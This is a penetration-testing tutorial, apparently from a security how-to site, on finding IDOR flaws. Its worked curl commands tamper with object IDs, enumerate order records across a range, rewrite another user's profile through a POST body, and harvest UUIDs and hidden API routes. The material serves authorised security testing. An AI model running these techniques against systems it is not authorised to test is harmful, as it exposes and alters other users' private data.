Skip to content
HackIndex logo

HackIndex

IDOR Testing by Parameter Tampering

3 min read Mar 28, 2026

Insecure direct object reference testing confirms whether server-side authorization is enforced on object identifiers. The test is simple: change a reference to an object you shouldn't own and check whether the server returns it. A confirmed IDOR moves to IDOR exploitation for full horizontal or vertical access escalation.

Run this after parameter crawling gives you a list of endpoints and parameter names. IDOR is most common on download, view, edit, and delete endpoints that reference objects by ID.

High-Signal Starting Points

Focus on endpoints with object references before testing everything:

  • Download and view endpoints: /download?id=, /invoice?id=, /report?file=

  • Profile and account endpoints: /user/123/profile, /account?uid=

  • API endpoints: /api/v1/orders/123, /api/messages/456

  • Sequential numeric IDs, UUIDs, and short hashes in URLs or JSON bodies

Basic ID Tampering

Take a known-good request and change only the object reference. Compare the response to confirm unauthorized access:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download.php?file_id=123" -H 'Cookie: session=YOUR_SESSION'
{"filename":"invoice_123.pdf","owner":"user_abc"}
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download.php?file_id=124" -H 'Cookie: session=YOUR_SESSION'
{"filename":"invoice_124.pdf","owner":"user_xyz"}

A 200 response with a different user's object is a confirmed IDOR. A 302 to login usually means the session expired, not that access is controlled. A 403 is good unless the response body or timing differences still leak information.

Enumerate a Range of IDs

When you confirm a single IDOR, enumerate the range to assess scope:

┌──(kali㉿kali)-[~]
└─$ for i in $(seq 1 50); do echo -n "ID $i: "; curl -sk "http://$TARGET_IP:$PORT/api/orders/$i" -H 'Cookie: session=YOUR_SESSION' | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user','?'), d.get('total','?'))"; done
ID 1: admin 1240.00
ID 2: user_xyz 89.99
ID 3: user_abc 312.50

POST and PUT Body Tampering

IDOR is not limited to GET parameters. Check request bodies in POST, PUT, and PATCH requests too:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/profile/update -H 'Content-Type: application/json' -H 'Cookie: session=YOUR_SESSION' -d '{"user_id":"456","email":"[email protected]"}'

If the server accepts a user_id in the body without validating it matches the session, changing it to another user's ID modifies their profile — a write IDOR which is higher impact than read.

UUID and Hash-Based References

UUIDs are not a security control. If the application uses UUIDs as object identifiers, test whether they are guessable or if other endpoints leak them:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/users -H 'Cookie: session=YOUR_SESSION' | python3 -m json.tool | grep -i uuid

A list endpoint returning UUIDs for other users provides the identifiers needed to test IDOR on per-object endpoints. The UUID being non-sequential does not prevent IDOR if another endpoint exposes the valid values.

Find Hidden API Endpoints via JS

Frontend JavaScript often contains API routes with object reference patterns not visible in the rendered UI:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/app.js | grep -oE '/api/[a-zA-Z0-9/_-]+' | sort -u
/api/users/
/api/orders/
/api/invoices/
/api/admin/users/

References